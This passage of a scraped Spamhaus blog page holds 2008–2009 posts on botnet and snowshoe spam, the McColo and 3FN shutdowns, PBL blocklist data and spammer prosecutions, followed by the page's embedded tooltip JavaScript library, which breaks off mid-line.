ranges, identify the spammers behind snowshoe operations, associate those listings with Register Of Known Spam Operations (ROKSO) records or create new records where appropriate. Spamhaus will also continue our efforts to bring the problem of snowshoe spam to the attention of the world's lawmakers via our direct contacts and our informational postings on the subject. How to Use the New CSS Data The CSS will be included in sbl.spamhaus.org zone, and in the combined blocklist zones at sbl-xbl.spamhaus.org and zen.spamhaus.org as well. It will return a unique result code, 127.0.0.3, rather than the SBL result code of 127.0.0.2, however, allowing any spam filters or local configurations to treat CSS hits differently than the regular SBL hits if they wish. For more information about the CSS, please see the CSS web page. 3 December 2009 Blog: Two month "snowshoe" trek results

Impact on Cutwail of 3FN shutdown

The Spamhaus Team — Tue, 16 Jun 2009 21:41:00 GMT

There is nothing like a visual representation to show how botnet spam traffic dries up when a major eastern European run host (in this case, USA routed) of the botnet Command & Control systems (C&C) is shut down. Below is a report from the CBL botnet spam detection system on the effect of a recent shut down. These graphs are the total number of spams (per second) detected as being sent by the Cutwail SpamBots at one of our larger (but not nearly largest) spamtraps. See graphical representation of total spamtrap flow for how this compares to total spamtrap flow. There are two sets of graphs included here, that of "Cutwail" and "Cutwail2". Cutwail2 is a newer version of Cutwail, and is included first because it is the higher volume. "Ordinary" Cutwail has been in existance for at least two years, the latter for the past half year or so. We detect them separately, so we present graphs for each of them. This is intended to give an indication of the overall Cutwail flow and how it was affected by the 3FN shutdown, which caused the shutdown of most or all of the Cutwail "Command and Control" (C&C) servers. See Krebs on FTC's shutdown of 3FN As can be seen, the 3FN shutdown caused an immediate precipitous collapse in Cutwail-emitted spam, particularly the Cutwail2 variety - which had completely disappeared for two intervals in excess of 8 hours. However, as it was only one SpamBot family of many, its collapse is not particularly apparent in total spamtrap flow. The shutdown of McColo was far more apparent in total flow simply because it was the shutdown of (or severe damage to) the C&C for the top 5 or 6 SpamBot networks all at once. It is also readily apparent that Cutwail2 is struggling to get back on its feet. Cutwail2 has recovered to about 1/4 of its former volumes as of the date of this snapshot. "Ordinary" Cutwail never did vanish completely, but does not appear to be recovering yet. The upsurge in Cutwail2 appears to be due to new C&C servers being established at other providers. The Y axis is detections per second. The X axis is the date/time in GMT. This snapshot was taken Tuesday, June 9th, 2009. The Spamhaus Project works with CBL and appreciates the effort put forth by the CBL team in creating this break down of the Cutwail botnet numbers post the 3FN, Pricewert, APS Telecom, APX Telecom, et. al. shut down. Original CBL link. A copy of the US Federal Trade Commision's complaint can be found at this link at the Washington Post (PDF).

Erroneous Mail Rejections at Yahoo!

The Spamhaus Team — Sat, 30 May 2009 00:45:00 GMT

During the last week of May, 2009, some senders experienced mail rejected by yahoo.com which referenced Spamhaus PBL data. But when they looked up their IP address, it was not in any Spamhaus list. The error was not consistent, and sometimes resubmitting a message might result in its delivery. Yahoo! is aware of the problem and made this announcement on its postmaster list (Wed May 27, 2009): We have received reports that some senders are seeing intermittent IP blocks when sending to Yahoo! Mail, with the SMTP error message from us citing that the block was due to a Spamhaus listing -- e.g., "553 5.7.1 [BL21] Connections not accepted from IP addresses on Spamhaus PBL." (See our full list of SMTP error messages at http://postmaster.yahoo.com/errors/ .) If your IPs are currently not listed on any Spamhaus blocklist but you are seeing this error, please be assured that we are looking into the matter. We shall post an update once we have resolved the issue. If you have any doubt whether your IP is listed in any Spamhaus list, our lookup form provides the correct and authoritative answer. If your IP is listed, our website provides links to further information. If it's not listed then we can't offer further assistance. Other Spamhaus pages that might also be of interest to those who experienced such a problem: How Blocklists Work- DNSBL Usage FAQ Update: Yahoo! has announced on its postmaster list that they have resolved the problem: Thursday, June 4, 2009 11:53 AM We have rolled out a patch this morning that addresses the spurious Spamhaus blocks described in our prior post. We are confident that this latest push resolves the problem. We are still in the process of making sure all our MTAs received the update, but for the most part, the issue should no longer be prevalent (as of 10am PDT). We certainly appreciate your patience during the past few days. If you encounter further issues, please free to let us know us via http://postmaster. yahoo.com (click on the "Contact Us" tab). Update: 2009-07-16: Yahoo! identified two machines (out of many total mail servers) which recently exhibited the erroneous rejections and they are correcting the errant configuration.

ISP PBL Account - New Look!

The Spamhaus Team — Tue, 19 May 2009 17:51:00 GMT

Last month we mentioned upcoming changes to ISP's PBL Account pages. We're pleased to announce that the first phase of those improvements is now up and running. While not visible to the public, an ISP logging in to their PBL Account will immediately see the upgrades. The new ISP PBL Account pages: Are designed to make it easier for ISPs to make accurate PBL Zone listings Make it easier for the ISP to see which Master Ranges its PBL Account controls - and what parts of those masters are actually listed in the PBL Zone Provide more overall information and control about all the PBL activities in the ISP's Master Ranges. For example, ISPs may now view and control specific single-IP exclusions made by end-users within the ISP's Master Ranges as well as summary data of how many exclusions in each of their PBL Zone listings. Have better options for the ISP's to set and control the policies they attach to PBL listings. This new ISP interface will be expanded further in the next phase of development. In the next phase, we plan to display the botnet density charts and specific spam-bot IP information to each ISP for their respective Master Ranges, as illustrated in our last blog, PBL Update and Comparisons - April 2009. For more information about PBL and ISP PBL Accounts, see the PBL FAQ.

PBL Update and Comparisons - April 2009

The Spamhaus Team — Mon, 13 Apr 2009 07:45:00 GMT

We'd like to show you what some typical broadband space looks like in terms of spam-sending bots and Policy Block List (PBL) listings. Let's sample a few chunks of IPv4 space, count the spam bots, and map them graphically to visualize what those ranges look like. These are just examples, conveniently chosen based on our experience in dealing with countless ISP ranges and PBL listings. There is wide variability among such ranges with many gradations between ISPs and even between subnets within a single ISP. Remember, these are just examples! As a starting point, there are 4,294,967,296 addresses in IPv4 (232), roughly two billion of which are publicly routed on what we see as "The Internet". Here are the number of IP addresses in PBL Zone listings as of April 2009, rounded to 10,000: | | | | --- | --- | | ISP PBL-listed IPs: | 138,730,000 | | Spamhaus PBL-listed IPs: 363,170,000 | | | Total IPs listed in PBL: 501,900,000 | | | Single IPs removed from PBL zone: 250,000 | | Update, 21 May 2009: Active single IP removals are less than 160,000 after a counting error was corrected. Zone data was not affected. The PBL's listing policy includes all dynamic IP address ranges and any static IPs belonging to an ISP which, by the ISP's own policy, should not be sending mail directly to the Internet. In terms of actual spam sent, PBL ranges vary from none to pure spam. Spamhaus looks at whois, rDNS, SMTP and CBL bot detection rates in making its decisions on ranges to list in PBL. The following images are density maps of CBL listings per /24 range, with each /16 range displayed on one row (horizontal). The blue outlined grid represents /24 blocks. The light yellow color indicates less than eight bots detected per /24, and bolder colors represent increasing bot counts. While the color scale ends at 80, some /24 blocks have more than 250 botted IPs detected during a week. Some of those could be the same physical computer connecting to multiple IPs over the course of several days. This is the color scale: Note: Partial map images are shown in this blog due to format restrictions. Click the images to view the full-size map of each IP address range. Vodacom's 41.0.0.0/11 range (about two million IPs) in South Africa is typical of much dynamic/broadband end-user IP address space. All of it except the first two /16s are listed in PBL by Spamhaus because the ISP clearly marked its static ranges with custom rDNS, and logically did not mix static and dynamic IP address space. It would be even better if they assign generic rDNS to their dynamic ranges with the format \*.dynamic.vodacom.co.za (i.e., "dynamic" right-anchored for regex filters). There are no bots in its static ranges. Where there are bots on dynamic IPs, in nearly all cases it is a moderately low count, one or two per /24, and the infected computers seem to be fixed fairly quickly. End-user removals are quite low (under 100 in the /11) possibly due to lower user density, appropriate user expectations and education, or access to reliable servers provided by the ISP for its customers' outbound mail. Among the most bot-infested IP address ranges on the 'net, Turk Telecom's 78.160.0.0/11 range mixes static and dynamic IP addresses and does not clearly mark such ranges in rDNS, making it difficult to list dynamic IPs accurately. The ISP does not--and possibly cannot due to Turkish telecom law--take effective action to stop bots on users' infected computers, even in static ranges. Bots on TTNet tend spew for weeks or even months without intervention. TTNet dynamic users may not have access to reliable ISP outbound smarthosts, they often try to send mail from servers on dynamic IPs, and as a result there are more PBL removals in that range. There are about 200 active end-user removals in this /11, out of about 900 total. Such removals are quickly patched by various PBL mechanisms, but the churn of removals does allow a small amount of spam to leak through to PBL users. PBL listings in this range are a mix of Spamhaus entries and Turk Telekom's own PBL entries. January 2010: Since April 2009, when that graphic was compiled, TurkTelecom has worked hard to clean up its network and now has a bot rate very similar to 41.0.0.0/11, above. Congratulations and thank you, TTNET! Some ISPs in India, Southeast Asia and South America have similarly bad infection rates but for smaller IP address ranges. This 200.64.0.0/11 range is typical of highly fragmented LACNIC IP address space. Static servers are often mixed with dynamics in a single /24, rDNS is often non-existant, stale or unclear, outbound servers may be unavailable or unreliable and many customers are ignorant of basic security practices (firewall, anti-virus, and frequent updates). There are over 1,700 single IPs actively excluded from PBL Zone by end users in this range, and many such holes get patched every day as soon as they send spam. At the clean end of the spectrum, France Telecom's 90.0.0.0/11 (under Spamhaus PBL policy) and Comcast's 96.64.0.0/11 (listed under Comcast's own policy) have almost no botnet spam emissions. They both have clear and consistent rDNS naming patterns for dynamic ranges, provide education, security resources, and good outbound mail servers for customers, and take effective action to mitigate spam emissions from dynamic ranges. Both of those ISPs also happen to be active in MAAWG and probably follow MAAWG's best practices document on dynamic ranges. Here are examples of their ranges represented graphically: France Telecom: Comcast: By the way, this bot data is available to ISPs. They can use their PBL account to obtain lists of specific, recent bot IP addresses in their Master IP Address Ranges. PBL and XBL data is updated four times per hour. PBL accounts are free but only available to the authoritative ISP for a given IP address range. See the PBL FAQ for more information. See this FAQ for an explanation of CIDR notation (/32, /24, /16, etc). (Blog article data c. 2009-04-09.)

A Snowshoe Winter: Our Discontent with CAN-SPAM

The Spamhaus Team — Wed, 25 Feb 2009 00:29:00 GMT

Snowshoe spamming has been around for many years but during 2008 a few USA spammers honed the technique to a fine edge. It has grown rapidly for the past year and there is no indication that it will cease in the foreseeable future. As of February 2009, snowshoe spamming accounts for 20-30% of all connections at typical gTLD mail servers. It is the second largest segment of the overall mailstream next to botnet spam from compromised machines in dynamic IP space. Snowshoeing represents a resurgence of static IP spam by persons in jurisdictions where law enforcement might just be able to reach them. These latest static IP spammers show a sophistication of listwashing, waterfalling and snowshoeing that improves their chances to evade detection and thereby makes it difficult to stop their spam from reaching end-users. Some ISPs where snowshoers are hosted say they have difficulty collecting evidence of the abuse, possibly because snowshoers have washed most spam reporting addresses. But responsible ISPs seem perfectly capable of preventing, detecting and removing snowshoers from their network. Our ISP FAQ can help ISPs collect evidence, if they try. Unlike snowshoe spam, botnet spam in dynamic IP space is highly distributed and persists due to the difficulty of dealing with it by the ISP. ISPs lose money due to botnet spam because of theft of services, and therefore do not want bots on their networks. Snowshoe spam, on the other hand, comes from static IP addresses in dedicated and relatively narrow IP ranges. The ISPs responsible for those ranges have accepted the spammer's payment and, in some cases, are reluctant to enforce their AUPs against spam and remove their spamming customers. Also, snowshoers often use the "customer of a customer" excuse, encouraging the ISP to not nuke far enough up the reseller chain. Snowshoers have learned an important lesson from botnet spammers: the IP that delivers the spam does not need to be the same IP that runs the actual spam-cannon server. Where botnet spammers hide behind illegally obtained Trojan horse proxies, snowshoers pay ISPs for many diverse IP ranges for their spam spigots. Meanwhile, the actual back-end servers operate with impunity, undetected on some other network. The connection is tunneled from the spam cannon to the spigot IPs, and if a spew range is blocked it's a simple and very fast configuration change to re-aim the cannon to unlisted sending IPs. Any ISP which accidentally hosts a snowshoer can assist Spamhaus by checking where the tunneled packets arrive from and letting us know, before they turn down the sending IPs. Statements by the snowshoers themselves say such things as: ...your company's network can travel the world while being safe, secure and protected in its own hive. And: $70,875/month gets you 9 class C's spread across at least 5 providers with bandwidth for 8 Millions HTML emails per day per class C. Network blocks (class C's) will be replaced after at least 60 days if they are blocked. Network Blocks may be replaced solely in the event such Network Block has been blacklisted by SpamHaus [sic]. Just as snowshoe spammers rotate through many domains and IPs, they also use evasive techniques in the content of their messages. Some messages are image-only, pulled by HTTP. Sometimes the required CAN-SPAM address is included only as an image, to avoid a 'hook' for content filters. Even when it is in text, they frequently change the mailbox drop and even the corporation name. (USA corporations are cheap and easily obtainable with pseudonymous information.) All of that makes enforcement of any applicable laws quite difficult, as Spamhaus suggested in 2003, just before CAN-SPAM was enacted: At best, CAN-SPAM will convert small amounts of illegal spammers over to spamming legally until they can see how ineffective enforcement is, CAN-SPAM will invite thousands of new spammers to swell the ranks of existing spammers all "spamming legally" utilizing the obvious loopholes, CAN-SPAM will substantially increase spam volumes in 2004 and will ultimately unquestionably have to be countered by a new U.S. Federal law to finally and properly ban spam. Snowshoeing provides another niche in the Spammer Agora. Very much like bulletproof hosters secure web services from spam-tolerant ISPs, there are companies which specialize in providing spam outlet IP ranges for those tunneled snowshoe connections. And like bulletproof web and DNS hosts, snowshoers cater to a clientele not served by legitimate ISPs. Ordinary solicited bulk e-mail can be delivered just fine from ordinary ISP and ESP IP addresses. There's no reason for snowshoeing except to send unsolicited bulk e-mail. 3 October 2009 Blog: Announcing the Spamhaus CSS 3 December 2009 Blog: Two month "snowshoe" trek results

Another one bytes the dust

The Spamhaus Team — Mon, 17 Nov 2008 05:32:00 GMT

Following the October 2008 shut down of the largest US based host of trojan malware, botnet command and control systems (C&Cs) and DNS changer hosts (pharming), Intercage/Atrivo, another US based network specializing in hosting similar cybercrime has been taken off the Internet. McColo is a bit different from Intercage/Atrivo in that although the IP addresses were from the North American registry ARIN, were routed in the US, and the company used US postal addresses, the person or persons controlling the operation are based in Moscow, Russia. After a report by the Washington Post, with evidence from Hostexploit, SecureWorks and other top botnet researchers, McColo's two "upstream" networks Hurricane Electric and Global Crossing shut off all routing on Wednesday, 12 November 2008. McColo quickly tried to get re-connected and on Saturday, 15 November 2008, found a bandwidth reseller (giglinx.com, who we assume amazingly had not heard the news) to connect them to a US node of the European-based Telia network (San Jose, California, where McColo's servers are located). This routing did not last for more than a few hours before the routing was canceled by Telia. During this uptime, the bots controlled by the McColo C&Cs were once again seen sending spam. A major drop in global spam was seen immediately on Wednesday, 12 November 2008, when McColo and the C&C servers there dropped off the Internet. There have been widely different levels of spam decline reported since McColo went down. The reported declines vary from 5% all the way up to 90%. There can be variations in spam rates from one ISP or anti-spam vendor to another, but not this wide a range. Spamhaus saw about 60% decline in raw spam delivery attempts. Lower percentage numbers probably came from places which measured after spam volume after SMTP connection filtering such as Spamhaus' XBL and/or PBL blocklists at their email server gateways. These Spamhaus blocklists stop the majority of botnet spam all of the time, so any significant drop in botnet spam won't show up in post-filtering statistics. One must measure every blocked connection, too, to calculate the real percentage drop. We recommend anyone who saw more than a 30% reduction in delivered spam should look into employing some sort of SMTP connection filtering as this drop in botnet spam, nice as it is, will not last. Investigators report that many of the C&C servers at McColo were originally hosted at Intercage/Atrivo. Even now, several of the C&C functions are migrating to hosting closer to the homes of the botmasters: Russia. Are there any dark linings to this silver cloud? Yes. The first is that the cybercrime botnet and spam gangs will need to infect many more computers with new virus and trojan malware that will not try and connect to C&C servers in the McColo IP address space. This will mean a ramp up in spamming of malware and hacking of websites to insert "drive by" infection code. A second downside, that can only be assumed, is that any law enforcement investigations into the McColo hosted criminals will have been sidelined. Lastly, Spamhaus and others have been waving red flags about McColo for several years, but they were kept online. Only a large concerted effort by multiple players including the press seems to be able to dislodge these pariahs of the internet. Additional reading: Washington Post: A Closer Look at McColo- Washington Post: Host of Internet Spam Groups Is Cut Off- Washington Post: So Much Spam From One Place?- Washington Post: How Does So Much Spam Come From One Place?- CyberCrime & Doing Time: Post McColo Spam - What do we see?- CyberCrime & Doing Time: Unprecedented Drop in Spam- CyberCrime & Doing Time: Internet Landfill: McColo Corporation- CERT-LEXSI: McColo Exposed- Fireeye: McColo shutdown- Arbor Networks: Third "Bad ISP" Disappears -- McColo Gone- Bit-Tech: Huge drop in spam as McColo closes- SANS ISC: McColo Corp alleged spam/malware host knocked offline- IDG News Service: ISP cut off from Internet after security concerns- SearchSecurity: Despite McColo shutdown, expect Spam deluge to resume- Techworld: Spam drop could boost Trojan attacks- Threatexpert: McColo - Who Was Behind It?- Marshal: Huge Decrease in Spam- Sophos: McColo up again, down again- Spamhaus: McColo IP address - range #1 info, range #2 info- CBL: CBL-observed Effects of the McColo Outage- Queen: Another One Bites The Dust

Spam Kingpin's hench-woman pleads guilty

The Spamhaus Team — Wed, 15 Oct 2008 20:13:00 GMT

A person well known to Spamhaus, Judy Devenow, one of long time spamming kingpin and convicted felon Alan Ralsky's gang, plead guilty to conspiracy and aiding fraud in a US Federal court. She admitted she had sent millions of spam e-mails a day to generate excitement about junk stocks while working for Ralsky who has been indicted, accused of running the pump-and-dump spam scam. Federal authorities say Ralsky made US$3 million in summer 2005 alone by trading in and out of Chinese stocks on U.S. exchanges. This is just the "icing on the cake" for the pump-and-dump spammers who are also paid large sums by the stock manipulators (such as Frankie Tribble) who hire them to push the scam via e-mail. Devenow said she was paid US$150,000 to send e-mail and manage others from January 2004 through September 2005. She, Ralsky and nine other people were charged in January 2008. Thomas Dukes, who specializes in computer crimes at the U.S. Justice Department in Washington DC, is quoted as saying that Ralsky sent tens of millions of e-mails over a 20-month period - and that's a "conservative number," Dukes told the judge. We agree; Spamhaus regularly sees spammers like Ralsky and his gang sending tens of millions of spam e-mails each day. They use innocent people's virus infected PCs to do this and also forge the addresses of innocent people onto the spam's "From:" line ("spoofing") causing untold damage and costs. Devenow faces 33 months to 41 months in prison, but reports state that her sentence in due in February could be cut to less than two years if the federal prosecutors are satisfied with her assistance. It seems Judy will be "rolling over" on Ralsky and other gang members. Her defense lawyer Richard Zuckerman said outside court today that "She intends to cooperate as needed" and "That includes trial testimony." Spamhaus suggests to Mr. Ralsky that it may be time to look to try and get a plea bargain. 10 years (half the recommended sentence) in Federal prison would allow the 62 year old Ralsky to get released well into retirement age. And think of the plus-side to this, by then (considering the current state of the US stock market), any legitimate investments should have recovered enough to allow him to retire from spamming completely. That is, unless the IRS who are also involved in this case, takes these too.

HerbalKing principals indicted by FTC and New Zealand

The Spamhaus Team — Tue, 14 Oct 2008 18:30:00 GMT

The #1 worst spam gang on the Internet for much of 2007 and 2008, and active since at least 2005, has been indicted by the US Federal Trade Commission (FTC) in conjunction with simultaneous charges in New Zealand and possibly Australia & India. Several co-conspirators formed the HerbalKing spam gang. The primary perpetrators are well-known to Spamhaus: Brothers Lance and Shane Atkinson (former partners of ROKSO listed spammer Mike Van Essen), Roland Smits and Jody Smith, who has his own ROKSO records. As HerbalKing is infamous for both the content and the volume of their fraudulent penis enlargement spam, Spamhaus congratulates the FTC and New Zealand's Department of Internal Affairs on their fine choice of spammers for legal action. Even this initial action may help lessen the spam sent by the gang, as, at the request of the FTC, a US court has issued a temporary injunction prohibiting the HerbalKing defendants from spamming and making false product claims and has frozen the defendants' US assets. Sadly, if like most criminal spam gangs, many of their assets will be banked "off-shore". The FTC documents list shell-corporations and banking in Cyprus and the Republic of Georgia. Fines or other penalties are decided at a later phase of the suit. The FTC uses US civil law, not criminal law. But it can refer cases to criminal prosecution, especially in situations where the defendants have violated earlier orders which is what the Atkinsons seem to have done. Spamhaus is hopeful that further criminal charges may be filed as a result of this civil investigation. Authorities in New Zealand have also taken legal action, working in tandem with the FTC. New Zealand has anti-spam laws and Spamhaus hopes this case will finally convince spammers there that the laws have teeth. One interesting item to note is the location of one of the gang members as specified by the FTC's documents: "Lance Atkinson of Pelican Waters in Queensland"; this is Australia. People who follow spamming and national laws may be aware that Australia has some of the world's strongest anti-spamming regulations: Spam is just not allowed there. The Australians have used the laws to nail ROKSO listed spammers before. In the past, these were civil actions, but the law does seem to include the ability to charge botnet-using spam gangs such as HerbalKing and its members under the Cybercrime Act of 2001. UPDATE: 2008-10-15 10:20 GMT - 24-hours after this announcement, Spamhaus is still seeing a flood of HerbalKing spam flowing into its spamtraps. This is not unusual due to at least two factors. 1) Botnet spam systems are very automated and will continue to spam even if the operators do not log-in and control them. These spammers set up tens-of-thousands of domains and the spam systems rotate in new ones every day. 2) Spammers such as this gang and the Russians, Chinese, Indians and others they work with care little about the law. Spamhaus notes that most will not quit spamming until they are behind bars (and in one case even that did not stop the spammer from trying!) Additional reading: The 10 Worst ROKSO Spammers HerbalKing ROKSO Jody Smith ROKSO FTC press release and other documents NZ Department of Internal Affairs press release- New Zealand news item Spamtrackers.eu: Herbal King Herbal King/Elite Herbal: Legal actions in New Zealand and United States History: Shane Atkinson Wikipedia entry NZ connection in US spam prosecution (2004) FTC Announces First Can-Spam Act Cases (2004)- Court Orders Permanent Halt to Illegal Spamming, Bogus Claims (2005) section, and invoke Tip('Tooltip text') from within the desired HTML onmouseover eventhandlers. No container DIV, no onmouseouts required. By default, width of tooltips is automatically adapted to content. Is even capable of dynamically converting arbitrary HTML elements to tooltips by calling TagToTip('ID\_of\_HTML\_element\_to\_be\_converted') instead of Tip(), which means you can put important, search-engine-relevant stuff into tooltips. Appearance of tooltips can be individually configured via commands passed to Tip() or TagToTip(). Tab Width: 4 LICENSE: LGPL This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License (LGPL) as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. For more details on the GNU Lesser General Public License, see http://www.gnu.org/copyleft/lesser.html \*/ var config = new Object(); //=================== GLOBAL TOOPTIP CONFIGURATION =========================// var tt\_Debug = false // false or true - recommended: false once you release your page to the public var tt\_Enabled = true // Allows to (temporarily) suppress tooltips, e.g. by providing the user with a button that sets this global variable to false var TagsToTip = true // false or true - if true, the script is capable of converting HTML elements to tooltips // For each of the following config variables there exists a command, which is // just the variablename in uppercase, to be passed to Tip() or TagToTip() to // configure tooltips individually. Individual commands override global // configuration. Order of commands is arbitrary. // Example: onmouseover="Tip('Tooltip text', LEFT, true, BGCOLOR, '#FF9900', FADEIN, 400)" config. Above = false // false or true - tooltip above mousepointer? config. BgColor = '#E4E7FF' // Background color config. BgImg = '' // Path to background image, none if empty string '' config. BorderColor = '#ffcc00' config. BorderStyle = 'solid' // Any permitted CSS value, but I recommend 'solid', 'dotted' or 'dashed' config. BorderWidth = 2 config. CenterMouse = false // false or true - center the tip horizontally below (or above) the mousepointer config. ClickClose = false // false or true - close tooltip if the user clicks somewhere config. CloseBtn = false // false or true - closebutton in titlebar config. CloseBtnColors = ['#990000', '#FFFFFF', '#DD3333', '#FFFFFF'] // [Background, text, hovered background, hovered text] - use empty strings '' to inherit title colors config. CloseBtnText = ' X ' // Close button text (may also be an image tag) config. CopyContent = true // When converting a HTML element to a tooltip, copy only the element's content, rather than converting the element by its own config. Delay = 100 // Time span in ms until tooltip shows up config. Duration = 0 // Time span in ms after which the tooltip disappears; 0 for infinite duration config. FadeIn = 0 // Fade-in duration in ms, e.g. 400; 0 for no animation config. FadeOut = 100 config. FadeInterval = 30 // Duration of each fade step in ms (recommended: 30) - shorter is smoother but causes more CPU-load config. Fix = null // Fixated position - x- an y-oordinates in brackets, e.g. [210, 480], or null for no fixation config. FollowMouse = true // false or true - tooltip follows the mouse config. FontColor = '#000044' config. FontFace = 'Verdana,Geneva,sans-serif' config. FontSize = '8pt' // E.g. '9pt' or '12px' - unit is mandatory config. FontWeight = 'normal' // 'normal' or 'bold'; config. Left = false // false or true - tooltip on the left of the mouse config. OffsetX = 14 // Horizontal offset of left-top corner from mousepointer config. OffsetY = 8 // Vertical offset config. Opacity = 100 // Integer between 0 and 100 - opacity of tooltip in percent config. Padding = 3 // Spacing between border and content config. Shadow = true // false or true config. ShadowColor = '#C0C0C0' config. ShadowWidth = 5 config. Sticky = false // Do NOT hide tooltip on mouseout? false or true config. TextAlign = 'left' // 'left', 'right' or 'justify' config. Title = '' // Default title text applied to all tips (no default title: empty string '') config. TitleAlign = 'left' // 'left' or 'right' - text alignment inside the title bar config. TitleBgColor = '' // If empty string '', BorderColor will be used config. TitleFontColor = '#ffffff' // Color of title text - if '', BgColor (of tooltip body) will be used config. TitleFontFace = '' // If '' use FontFace (boldified) config. TitleFontSize = '' // If '' use FontSize config. Width = 400 // Tooltip width; 0 for automatic adaption to tooltip content //======= END OF TOOLTIP CONFIG, DO NOT CHANGE ANYTHING BELOW ==============// //====================== PUBLIC ============================================// function Tip() { tt\_Tip(arguments, null); } function TagToTip() { if(TagsToTip) { var t2t = tt\_GetElt(arguments[0]); if(t2t) tt\_Tip(arguments, t2t); } } //================== PUBLIC EXTENSION API ==================================// // Extension eventhandlers currently supported: // OnLoadConfig, OnCreateContentString, OnSubDivsCreated, OnShow, OnMoveBefore, // OnMoveAfter, OnHideInit, OnHide, OnKill var tt\_aElt = new Array(10), // Container DIV, outer title & body DIVs, inner title & body TDs, closebutton SPAN, shadow DIVs, and IFRAME to cover windowed elements in IE tt\_aV = new Array(), // Caches and enumerates config data for currently active tooltip tt\_sContent, // Inner tooltip text or HTML tt\_scrlX = 0, tt\_scrlY = 0, tt\_musX, tt\_musY, tt\_over, tt\_x, tt\_y, tt\_w, tt\_h; // Position, width and height of currently displayed tooltip function tt\_Extension() { tt\_ExtCmdEnum(); tt\_aExt[tt\_aExt.length] = this; return this; } function tt\_SetTipPos(x, y) { var css = tt\_aElt[0].style; tt\_x = x; tt\_y = y; css.left = x + "px"; css.top = y + "px"; if(tt\_ie56) { var ifrm = tt\_aElt[tt\_aElt.length - 1]; if(ifrm) { ifrm.style.left = css.left; ifrm.style.top = css.top; } } } function tt\_Hide() { if(tt\_db && tt\_iState) { if(tt\_iState & 0x2) { tt\_aElt[0].style.visibility = "hidden"; tt\_ExtCallFncs(0, "Hide"); } tt\_tShow.EndTimer(); tt\_tHide.EndTimer(); tt\_tDurt.EndTimer(); tt\_tFade.EndTimer(); if(!tt\_op && !tt\_ie) { tt\_tWaitMov.EndTimer(); tt\_bWait = false; } if(tt\_aV[CLICKCLOSE]) tt\_RemEvtFnc(document, "mouseup", tt\_HideInit); tt\_AddRemOutFnc(false); tt\_ExtCallFncs(0, "Kill"); // In case of a TagToTip tooltip, hide converted DOM node and // re-insert it into document if(tt\_t2t && !tt\_aV[COPYCONTENT]) { tt\_t2t.style.display = "none"; tt\_MovDomNode(tt\_t2t, tt\_aElt[6], tt\_t2tDad); } tt\_iState = 0; tt\_over = null; tt\_ResetMainDiv(); if(tt\_aElt[tt\_aElt.length - 1]) tt\_aElt[tt\_aElt.length - 1].style.display = "none"; } } function tt\_GetElt(id) { return(document.getElementById ? document.getElementById(id) : document.all ? document.all[id] : null); } function tt\_GetDivW(el) { return(el ? (el.offsetWidth || el.style.pixelWidth || 0) : 0); } function tt\_GetDivH(el) { return(el ? (el.offsetHeight || el.style.pixelHeight || 0) : 0); } function tt\_GetScrollX() { return(window.pageXOffset || (tt\_db ? (tt\_db.scrollLeft || 0) : 0)); } function tt\_GetScrollY() { return(window.pageYOffset || (tt\_db ? (tt\_db.scrollTop || 0) : 0)); } function tt\_GetClientW() { return(document.body && (typeof(document.body.clientWidth) != tt\_u) ? document.body.clientWidth : (typeof(window.innerWidth) != tt\_u) ? window.innerWidth : tt\_db ? (tt\_db.clientWidth || 0) : 0); } function tt\_GetClientH() { // Exactly this order seems to yield correct values in all major browsers return(document.body && (typeof(document.body.clientHeight) != tt\_u) ? document.body.clientHeight : (typeof(window.innerHeight) != tt\_u) ? window.innerHeight : tt\_db ? (tt\_db.clientHeight || 0) : 0); } function tt\_GetEvtX(e) { return (e ? ((typeof(e.pageX) != tt\_u) ? e.pageX : (e.clientX + tt\_scrlX)) : 0); } function tt\_GetEvtY(e) { return (e ? ((typeof(e.pageY) != tt\_u) ? e.pageY : (e.clientY + tt\_scrlY)) : 0); } function tt\_AddEvtFnc(el, sEvt, PFnc) { if(el) { if(el.addEventListener) el.addEventListener(sEvt, PFnc, false); else el.attachEvent("on" + sEvt, PFnc); } } function tt\_RemEvtFnc(el, sEvt, PFnc) { if(el) { if(el.removeEventListener) el.removeEventListener(sEvt, PFnc, false); else el.detachEvent("on" + sEvt, PFnc); } } //====================== PRIVATE ===========================================// var tt\_aExt = new Array(), // Array of extension objects tt\_db, tt\_op, tt\_ie, tt\_ie56, tt\_bBoxOld, // Browser flags tt\_body, tt\_flagOpa, // Opacity support: 1=IE, 2=Khtml, 3=KHTML, 4=Moz, 5=W3C tt\_maxPosX, tt\_maxPosY, tt\_iState = 0, // Tooltip active |= 1, shown |= 2, move with mouse |= 4 tt\_opa, // Currently applied opacity tt\_bJmpVert, // Tip above mouse (or ABOVE tip below mouse) tt\_t2t, tt\_t2tDad, // Tag converted to tip, and its parent element in the document tt\_elDeHref, // The tag from which Opera has removed the href attribute // Timer tt\_tShow = new Number(0), tt\_tHide = new Number(0), tt\_tDurt = new Number(0), tt\_tFade = new Number(0), tt\_tWaitMov = new Number(0), tt\_bWait = false, tt\_u = "undefined"; function tt\_Init() { tt\_MkCmdEnum(); // Send old browsers instantly to hell if(!tt\_Browser() || !tt\_MkMainDiv()) return; tt\_IsW3cBox(); tt\_OpaSupport(); tt\_AddEvtFnc(document, "mousemove", tt\_Move); // In Debug mode we search for TagToTip() calls in order to notify // the user if they've forgotten to set the TagsToTip config flag if(TagsToTip || tt\_Debug) tt\_SetOnloadFnc(); tt\_AddEvtFnc(window, "scroll", function() { tt\_scrlX = tt\_GetScrollX(); tt\_scrlY = tt\_GetScrollY(); if(tt\_iState && !(tt\_aV[STICKY] && (tt\_iState & 2))) tt\_HideInit(); } ); // Ensure the tip be hidden when the page unloads tt\_AddEvtFnc(window, "unload", tt\_Hide); tt\_Hide(); } // Creates command names by translating config variable names to upper case function tt\_MkCmdEnum() { var n = 0; for(var i in config) eval("window." + i.toString().toUpperCase() + " = " + n++); tt\_aV.length = n; } function tt\_Browser() { var n, nv, n6, w3c; n = navigator.userAgent.toLowerCase(), nv = navigator.appVersion; tt\_op = (document.defaultView && typeof(eval("w" + "indow" + "." + "o" + "p" + "er" + "a")) != tt\_u); tt\_ie = n.indexOf("msie") != -1 && document.all && !tt\_op; if(tt\_ie) { var ieOld = (!document.compatMode || document.compatMode == "BackCompat"); tt\_db = !ieOld ? document.documentElement : (document.body || null); if(tt\_db) tt\_ie56 = parseFloat(nv.substring(nv.indexOf("MSIE") + 5)) >= 5.5 && typeof 